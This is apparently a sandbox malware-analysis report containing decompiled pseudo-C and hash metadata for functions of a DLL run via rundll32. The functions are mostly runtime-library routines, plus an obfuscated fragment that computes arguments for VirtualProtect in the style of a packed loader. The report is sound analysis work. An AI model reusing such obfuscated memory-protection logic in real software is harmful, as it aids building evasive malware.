						asm("sbb ebx, ebx");
						_t260 =  *0x6eb8a9d0; // 0x0
						_t200 =  *0x6eb8a9bc; // 0x0
						 *(_t278 + 0x10) =  *(0x6eb8a9d8 + ( ~( ~( *(_t278 + 0x14) & _t131)) + ( ~( ~((_t241 -  *0x6eb8a9bc + 0x00000001) * _t252 + _t221 +  *0x6eb8a9d0 + (_t241 -  *0x6eb8a9bc + 0x00000001) * _t252 + _t221 +  *0x6eb8a9d0 + 0x40000000 &  *( *(_t278 + 0x24) + 0xc))) +  ~( ~((((_t217 + _t217 - _t221 * _t221 + _t221 * _t221 * 0x00000002 + _t217) * _t217 - 0x00000003) * _t241 - _t221 + _t221 * 0x00000002) * _t252 + _t44 &  *( *(_t278 + 0x24) + 0xc))) * 2) * 2) * 4);
						 *(_t278 + 0x14) = _t200 + _t260 + (_t200 + _t260) * 4;
						if(( *(_t278 + 0x18) & ((0x00000001 - _t260) * _t200 - _t221) * _t221 - (_t241 + _t217) * _t241 + 4 - ( *(_t278 + 0x14) + 0x0000000f) * _t252 +  *(_t278 + 0x14) + 0x04000000) != 0) {
							 *(_t278 + 0x10) =  *(_t278 + 0x10) | (_t241 * 0x00000004 - 0x00000004) * _t217 + ((_t221 * _t217 + _t241 * _t252 + 0x00000001) * _t252 + 0x00000080 + _t221 * 0x00000002) * 0x00000004;
						}
						_t145 =  *0x6eb8a9d0; // 0x0
						_t147 =  *0x6eb8a9d0; // 0x0
						_t98 = _t252 - 2; // -2
						_t150 = VirtualProtect( *( *(_t278 + 0x2c)), ( *(_t278 + 0x2c))[2] + (_t252 + _t98) * _t147 + (_t200 - _t217 + _t217 * 2) * 2,  *(_t278 + 0x14), _t278 + 0x24 + (_t241 * _t252 + (_t200 - _t145 * _t217 + 1) * _t221 - _t217 * _t217 + _t147) * 4); // executed
						asm("sbb eax, eax");
						return  ~( ~_t150);
					} else {
						_t159 =  *_t220;
						 *(_t278 + 0x14) = _t159;
						if(_t159 ==  *((intOrPtr*)(_t220 + 4))) {
							_t246 =  *0x6eb8a9c0; // 0x0
							if( *((intOrPtr*)(_t220 + 0x10)) != 0) {
								L8:
								_t162 =  *0x6eb8a9c4; // 0x0
								_t232 =  *0x6eb8a9bc; // 0x0
								 *((intOrPtr*)( *((intOrPtr*)(_t255 + 0x20))))( *(_t278 + 0x18),  *(_t278 + 0x14), ((_t246 * _t252 - _t162 * _t173 - _t217) * _t162 + _t246 + 2) * _t246 + (_t232 * _t217 - _t252) * _t162 + _t232 * _t252 - _t217 + _t162 + _t252 + 0x4000,  *((intOrPtr*)(_t255 + 0x34)));
							} else {
								_t166 =  *(_t255 + 0x3c);
								 *(_t278 + 0x24) = _t166;
								if( *((intOrPtr*)( *_t255 + 0x38)) == _t166) {
									goto L8;
								} else {
									if(_t246 - _t173 + (_t246 - _t173) * 4 +  *(_t278 + 0x10) %  *(_t278 + 0x24) == 0) {
										_t173 =  *0x6eb8a9d0; // 0x0
										goto L8;
									}
								}
							}
						}
						return 1;
					}
				} else {
					return 1;
				}
			}

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4526713fa71b4003115ead008a80927649b692383f9773ec444efdf69e32fff
Instruction ID: a4bebb0151e7991305db5295c593d506edcdd25d1065042b4deefe9c7b3320a6
Opcode Fuzzy Hash: b4526713fa71b4003115ead008a80927649b692383f9773ec444efdf69e32fff
Instruction Fuzzy Hash: C781823264470A8FC744CFACDAC1A86B7E9FB89700F05957AD545CB395E670EA18CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB41490 Relevance: 1.6, APIs: 1, Instructions: 108
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E6EB41490(void* __ebx, intOrPtr* __ecx, void* __edi) {
				void* _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t28;
				intOrPtr _t29;
				intOrPtr* _t32;
				void* _t34;
				signed int _t36;
				void* _t38;
				void* _t41;
				intOrPtr _t42;
				intOrPtr* _t44;
				intOrPtr* _t45;
				intOrPtr* _t47;
				intOrPtr _t52;
				intOrPtr _t53;
				void* _t58;
				void* _t61;
				intOrPtr _t64;
				void* _t65;
				intOrPtr* _t66;
				intOrPtr _t68;
				intOrPtr* _t69;
				void* _t71;
				intOrPtr _t72;
				intOrPtr _t73;
				void* _t75;
				void* _t76;

				_t58 = __edi;
				_t44 = __ecx;
				_t41 = __ebx;
				_t52 =  *((intOrPtr*)(_t75 + 4));
				_t23 =  *__ecx - 0x10;
				_t64 =  *((intOrPtr*)(_t23 + 4));
				if(_t64 > _t52) {
					_t52 = _t64;
				}
				_pop(_t65);
				if( *((intOrPtr*)(_t23 + 0xc)) <= 1) {
					_t24 =  *((intOrPtr*)(_t23 + 8));
					if(_t24 >= _t52) {
						return _t24;
					} else {
						if(_t24 <= 0x400) {
							_t25 = _t24 + _t24;
						} else {
							_t25 = _t24 + 0x400;
						}
						if(_t25 < _t52) {
							_t25 = _t52;
						}
						 *((intOrPtr*)(_t75 + 4)) = _t25;
						_t53 =  *((intOrPtr*)(_t75 + 4));
						_push(_t65);
						_t66 = _t44;
						_t26 =  *_t66;
						_t45 =  *((intOrPtr*)(_t26 - 0x10));
						_t27 = _t26 - 0x10;
						if( *((intOrPtr*)(_t27 + 8)) >= _t53 || _t53 <= 0) {
							L22:
							_t28 = E6EB414E0(_t45, _t53);
						} else {
							_t28 =  *((intOrPtr*)( *((intOrPtr*)( *_t45 + 8))))(_t27, _t53, 1, _t58);
							if(_t28 == 0) {
								goto L22;
							}
						}
						_t29 = _t28 + 0x10;
						 *_t66 = _t29;
						return _t29;
					}
				} else {
					 *((intOrPtr*)(_t75 + 4)) = _t52;
					_t68 =  *_t44;
					_t42 =  *((intOrPtr*)(_t68 - 0xc));
					_t69 = _t68 - 0x10;
					 *((intOrPtr*)(_t75 + 0xc)) = _t44;
					_t32 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t69)) + 0x10))))(_t58, _t65, _t71, _t41, _t44);
					_t55 =  *_t32;
					_t72 =  *((intOrPtr*)(_t75 + 0x18));
					_t47 = _t32;
					_t34 =  *((intOrPtr*)( *((intOrPtr*)( *_t32))))(_t72, 1); // executed
					_t61 = _t34;
					if(_t61 == 0) {
						E6EB414E0(_t47, _t55);
					}
					if(_t42 < _t72) {
						_t72 = _t42;
					}
					_t11 = _t72 + 1; // 0x2
					_t12 = _t69 + 0x10; // 0x0
					_t13 = _t61 + 0x10; // 0x10
					_t73 = _t13;
					_t36 = E6EB64067(_t42, _t12, _t73, _t11, _t12, _t11);
					_t76 = _t75 + 0x10;
					 *((intOrPtr*)(_t61 + 4)) = _t42;
					asm("lock xadd [edx], eax");
					_t38 = (_t36 | 0xffffffff) - 1;
					if(_t38 <= 0) {
						_t38 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t69)) + 4))))(_t69);
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t76 + 0x10)))) = _t73;
					return _t38;
				}
			}

APIs

_memcpy_s.LIBCMT ref: 6EB41537

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: _memcpy_s
String ID:
API String ID: 2001391462-0
Opcode ID: 7f54eb77de2988f94261bbe915b1d204681bb7a52db648cecb4f92f371e38394
Instruction ID: 4fa289e4efd792b8c68ef6a9f8f7da158adffaeaf7b6323fe99bc89b85297065
Opcode Fuzzy Hash: 7f54eb77de2988f94261bbe915b1d204681bb7a52db648cecb4f92f371e38394
Instruction Fuzzy Hash: AD31A1B2A14605DFD300CFACC88099AB7F9EF99314F28896DE159C7224E731E8169F91

Uniqueness

Uniqueness Score: -1.00%

Function 6EB414E0 Relevance: 1.6, APIs: 1, Instructions: 64
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 54%

			E6EB414E0(intOrPtr* __ecx, void* __edx) {
				void* __ebx;
				intOrPtr* _t14;
				void* _t16;
				signed int _t18;
				void* _t20;
				void* _t23;
				intOrPtr _t24;
				intOrPtr* _t26;
				intOrPtr* _t28;
				void* _t38;
				void* _t39;
				void* _t41;
				intOrPtr _t42;
				intOrPtr* _t43;
				void* _t45;
				intOrPtr _t46;
				intOrPtr _t47;
				void* _t49;
				void* _t50;

				_t26 = __ecx;
				E6EB41000(__ecx, __edx, 0x8007000e);
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t42 =  *_t26;
				_t24 =  *((intOrPtr*)(_t42 - 0xc));
				_t43 = _t42 - 0x10;
				 *((intOrPtr*)(_t49 + 0xc)) = _t26;
				_t14 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t43)) + 0x10))))(_t38, _t41, _t45, _t23, _t26);
				_t35 =  *_t14;
				_t46 =  *((intOrPtr*)(_t49 + 0x18));
				_t28 = _t14;
				_t16 =  *((intOrPtr*)( *((intOrPtr*)( *_t14))))(_t46, 1); // executed
				_t39 = _t16;
				if(_t39 == 0) {
					E6EB414E0(_t28, _t35);
				}
				if(_t24 < _t46) {
					_t46 = _t24;
				}
				_t5 = _t46 + 1; // 0x2
				_t6 = _t43 + 0x10; // 0x0
				_t7 = _t39 + 0x10; // 0x10
				_t47 = _t7;
				_t18 = E6EB64067(_t24, _t6, _t47, _t5, _t6, _t5);
				_t50 = _t49 + 0x10;
				 *((intOrPtr*)(_t39 + 4)) = _t24;
				asm("lock xadd [edx], eax");
				_t20 = (_t18 | 0xffffffff) - 1;
				if(_t20 <= 0) {
					_t20 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t43)) + 4))))(_t43);
				}
				 *((intOrPtr*)( *((intOrPtr*)(_t50 + 0x10)))) = _t47;
				return _t20;
			}

APIs

_memcpy_s.LIBCMT ref: 6EB41537

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: _memcpy_s
String ID:
API String ID: 2001391462-0
Opcode ID: bfc535a2aa8d90c718764cf4b0c4fab8c45673366e3a0d4cfdf71093f7a00ae8
Instruction ID: a810301c9f0415a192c90fff8f455e9e752ec2e5f0fb44f80fdd84ec3a0f7736
Opcode Fuzzy Hash: bfc535a2aa8d90c718764cf4b0c4fab8c45673366e3a0d4cfdf71093f7a00ae8
Instruction Fuzzy Hash: 6C11C672600A05DFC301DFA8C880D9AB7B9FF89314B148A5DE62A87354EB31E915CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB55A32 Relevance: 1.5, APIs: 1, Instructions: 43
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E6EB55A32(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t17;
				intOrPtr _t19;
				intOrPtr _t21;
				long* _t24;
				intOrPtr _t25;
				intOrPtr* _t30;
				void* _t31;
				intOrPtr _t33;

				_t27 = __edi;
				_t23 = __ecx;
				_t22 = __ebx;
				_push(4);
				E6EB664FB(0x6eb77ba4, __ebx, __edi, __esi);
				_t30 = __ecx;
				_t33 =  *((intOrPtr*)(_t31 + 8));
				_t34 = _t33 == 0;
				if(_t33 == 0) {
					L1:
					E6EB48BA4(_t22, _t23, _t27, _t30, _t34);
				}
				if( *_t30 == 0) {
					_t23 =  *0x6eb8c944; // 0x6eb8c948
					if(_t23 != 0) {
						L5:
						_t19 = E6EB55723(_t23); // executed
						 *_t30 = _t19;
						if(_t19 == 0) {
							goto L1;
						}
					} else {
						 *((intOrPtr*)(_t31 - 0x10)) = 0x6eb8c948;
						 *(_t31 - 4) =  *(_t31 - 4) & 0x00000000;
						_t21 = E6EB5583B(0x6eb8c948);
						 *(_t31 - 4) =  *(_t31 - 4) | 0xffffffff;
						_t23 = _t21;
						 *0x6eb8c944 = _t21;
						if(_t21 == 0) {
							goto L1;
						} else {
							goto L5;
						}
					}
				}
				_t24 =  *0x6eb8c944; // 0x6eb8c948
				_t28 = E6EB55595(_t24,  *_t30);
				_t39 = _t28;
				if(_t28 == 0) {
					_t17 =  *((intOrPtr*)(_t31 + 8))();
					_t25 =  *0x6eb8c944; // 0x6eb8c948
					E6EB558E2(_t22, _t25, _t17, _t30, _t39,  *_t30, _t17);
				}
				return E6EB665D3(_t28);
			}

APIs

__EH_prolog3.LIBCMT ref: 6EB55A39

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: H_prolog3$Exception@8Throw
String ID:
API String ID: 2489616738-0
Opcode ID: 4f593de68d96432fa09311f7768228b4d2aff7128e266033d6f304c8063ce310
Instruction ID: 1f1fc8b5c91a4f8c9d5f900da0be8786149d76e3a656575f9b24e3e9170295e7
Opcode Fuzzy Hash: 4f593de68d96432fa09311f7768228b4d2aff7128e266033d6f304c8063ce310
Instruction Fuzzy Hash: D6018470612682CBDB56AFE8C85076E3EB6EF81366F11052CD4858F380EF30C850CB89

Uniqueness

Uniqueness Score: -1.00%

Function 6EB48392 Relevance: 1.5, APIs: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E6EB48392(intOrPtr __ecx, intOrPtr _a4, signed int _a8) {
				void* __edi;
				intOrPtr* _t11;
				void* _t13;
				void* _t16;
				intOrPtr _t17;
				intOrPtr _t18;

				_t18 = _a4;
				_t17 = __ecx;
				if(_t18 >= 0) {
					_t11 = E6EB643C3(_t13, _t16, __ecx, (_t18 + 1) * _a8 + 0x10); // executed
					if(_t11 == 0) {
						goto L1;
					}
					 *(_t11 + 4) =  *(_t11 + 4) & 0x00000000;
					 *_t11 = _t17;
					 *((intOrPtr*)(_t11 + 0xc)) = 1;
					 *((intOrPtr*)(_t11 + 8)) = _t18;
					return _t11;
				}
				L1:
				return 0;
			}

0x6eb48398
0x6eb4839c
0x6eb483a0
0x6eb483b1
0x6eb483b9
0x00000000
0x00000000
0x6eb483bb
0x6eb483bf
0x6eb483c1
0x6eb483c8
0x00000000
0x6eb483c8
0x6eb483a2
0x00000000

APIs

_malloc.LIBCMT ref: 6EB483B1

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: _malloc
String ID:
API String ID: 1579825452-0
Opcode ID: d024e21eb054aa374ab3d19d4824595635b9d5ab3aad374d8675cb8471979ae1
Instruction ID: 86f265b778fd366ac2c8d9b62a0db34bfefecfa30af3c86801a8951c633aff00
Opcode Fuzzy Hash: d024e21eb054aa374ab3d19d4824595635b9d5ab3aad374d8675cb8471979ae1
Instruction Fuzzy Hash: 48E06D335146169BD3008F8AD914A8ABBECEFA1371B068466F404CB162C775E4048BE0

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6AC94 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E6EB6AC94(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x6eb8cd8c = _t6;
				if(_t6 != 0) {
					 *0x6eb8e75c = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x6eb6aca9
0x6eb6acaf
0x6eb6acb6
0x6eb6acbd
0x6eb6acc3
0x6eb6acb9
0x6eb6acb9
0x6eb6acb9

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000,?,6EB645C4,00000001,?,?,?,6EB6473D,?,?,?,6EB85378,0000000C,6EB647F8), ref: 6EB6ACA9

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: a71ee60d7c28f383ca5cce5a89322e4c42e1b44a44d41fc1f5051f0c0c86e826
Instruction ID: 725f32d49a17a39da837b59801d3623e465b05d137c8f0185c1456475fc4582f
Opcode Fuzzy Hash: a71ee60d7c28f383ca5cce5a89322e4c42e1b44a44d41fc1f5051f0c0c86e826
Instruction Fuzzy Hash: 15D05E76564745ABDF005EB55C08B273BECD386395F008436F94CC7280F570C5409F00

Uniqueness

Uniqueness Score: -1.00%

Function 6EB45CA0 Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E6EB45CA0() {
				intOrPtr* _t1;

				if( *0x6eb8d558 == 0) {
					ExitProcess(0);
				}
				_t1 = E6EB44E80(); // executed
				 *_t1(); // executed
				return 0;
			}

0x6eb45ca7
0x6eb45cab
0x6eb45cab
0x6eb45cb1
0x6eb45cb6
0x6eb45cba

APIs

ExitProcess.KERNEL32 ref: 6EB45CAB

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 0a093b39c61104ad364d5ceea78315cd51ad1addb676a9d8b5dc755d7d7bc8ed
Instruction ID: ba8de90652c9dd999c0fc120606ec487f28ec9922d1ae53017c1f4e20a0c9b38
Opcode Fuzzy Hash: 0a093b39c61104ad364d5ceea78315cd51ad1addb676a9d8b5dc755d7d7bc8ed
Instruction Fuzzy Hash: 23B09230266980CBEE80ABF0A84878D3AB99B5231AF02042AE0148209CDF708082AA21

Uniqueness

Uniqueness Score: -1.00%

Function 6EB67153 Relevance: 1.5, APIs: 1, Instructions: 6
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 25%

			E6EB67153() {
				void* _t1;
				void* _t2;
				void* _t3;
				void* _t4;
				void* _t7;

				_push(1);
				_push(0);
				_push(0); // executed
				_t1 = E6EB67011(_t2, _t3, _t4, _t7); // executed
				return _t1;
			}

0x6eb67153
0x6eb67155
0x6eb67157
0x6eb67159
0x6eb67161

APIs

_doexit.LIBCMT ref: 6EB67159

Part of subcall function 6EB67011: __lock.LIBCMT ref: 6EB6701F
Part of subcall function 6EB67011: __decode_pointer.LIBCMT ref: 6EB67056
Part of subcall function 6EB67011: __decode_pointer.LIBCMT ref: 6EB6706B
Part of subcall function 6EB67011: __decode_pointer.LIBCMT ref: 6EB67095
Part of subcall function 6EB67011: __decode_pointer.LIBCMT ref: 6EB670AB
Part of subcall function 6EB67011: __decode_pointer.LIBCMT ref: 6EB670B8
Part of subcall function 6EB67011: __initterm.LIBCMT ref: 6EB670E7
Part of subcall function 6EB67011: __initterm.LIBCMT ref: 6EB670F7

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 71f5aa3ab10afe7edc69d9e50ae3ebcb4a9bdbb1c92fe6d79654d1a4b596b58f
Instruction ID: f758e6624e458e1443e318e0d15153ab642016e2830fdd0df35c530b0bc7edf5
Opcode Fuzzy Hash: 71f5aa3ab10afe7edc69d9e50ae3ebcb4a9bdbb1c92fe6d79654d1a4b596b58f
Instruction Fuzzy Hash: 8AA00265BF435122FDA452D02C43F9826051760F05FD40850BB082C1C0B5C612985067

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6A5CA Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E6EB6A5CA() {
				void* _t1;

				_t1 = E6EB6A558(0); // executed
				return _t1;
			}

0x6eb6a5cc
0x6eb6a5d2

APIs

__encode_pointer.LIBCMT ref: 6EB6A5CC

Part of subcall function 6EB6A558: TlsGetValue.KERNEL32(00000000,?,6EB6A5D1,00000000,6EB718AF,6EB8CEE8,00000000,00000314,?,6EB6BB1A,6EB8CEE8,Microsoft Visual C++ Runtime Library,00012010), ref: 6EB6A56A
Part of subcall function 6EB6A558: TlsGetValue.KERNEL32(00000006,?,6EB6A5D1,00000000,6EB718AF,6EB8CEE8,00000000,00000314,?,6EB6BB1A,6EB8CEE8,Microsoft Visual C++ Runtime Library,00012010), ref: 6EB6A581
Part of subcall function 6EB6A558: RtlEncodePointer.NTDLL(00000000,?,6EB6A5D1,00000000,6EB718AF,6EB8CEE8,00000000,00000314,?,6EB6BB1A,6EB8CEE8,Microsoft Visual C++ Runtime Library,00012010), ref: 6EB6A5BF

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: a791c8923647d81862337e1db0f2a21a84d321461c6a96f787c15ec698aca380
Instruction ID: 6b34ec9ec936095544e22a55cd767d6fab6d79078d5ffdde920814acadeb4b57
Opcode Fuzzy Hash: a791c8923647d81862337e1db0f2a21a84d321461c6a96f787c15ec698aca380
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 6EB43F50 Relevance: 1.3, APIs: 1, Instructions: 10
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E6EB43F50(void* _a4, long _a8, long _a12, long _a16) {
				void* _t7;

				_t7 = VirtualAlloc(_a4, _a8, _a12, _a16); // executed
				return _t7;
			}

0x6eb43f64
0x6eb43f6a

APIs

VirtualAlloc.KERNEL32(?,?,-00001006,?,6EB449B6,?,?,-00001006,?,00000000), ref: 6EB43F64

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f7bac33966342626bdbf7d9452b3e69bb9a3c1b9a51c1ea234fad32535c4f6d5
Instruction ID: 160d73168f5cbb198e20a5a444127c4c93d1d9429af90e9c27cf5b95651bbe37
Opcode Fuzzy Hash: f7bac33966342626bdbf7d9452b3e69bb9a3c1b9a51c1ea234fad32535c4f6d5
Instruction Fuzzy Hash: 8DC002B9608302BF9A04DB54C888C6BBBEDEBC9340F00C90DB59983320C630E844CF22

Uniqueness

Uniqueness Score: -1.00%

Function 6EB43F70 Relevance: 1.3, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EB43F70(void* _a4, long _a8, long _a12) {
				int _t5;

				_t5 = VirtualFree(_a4, _a8, _a12); // executed
				return _t5;
			}

0x6eb43f7f
0x6eb43f85

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 6EB43F7F

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
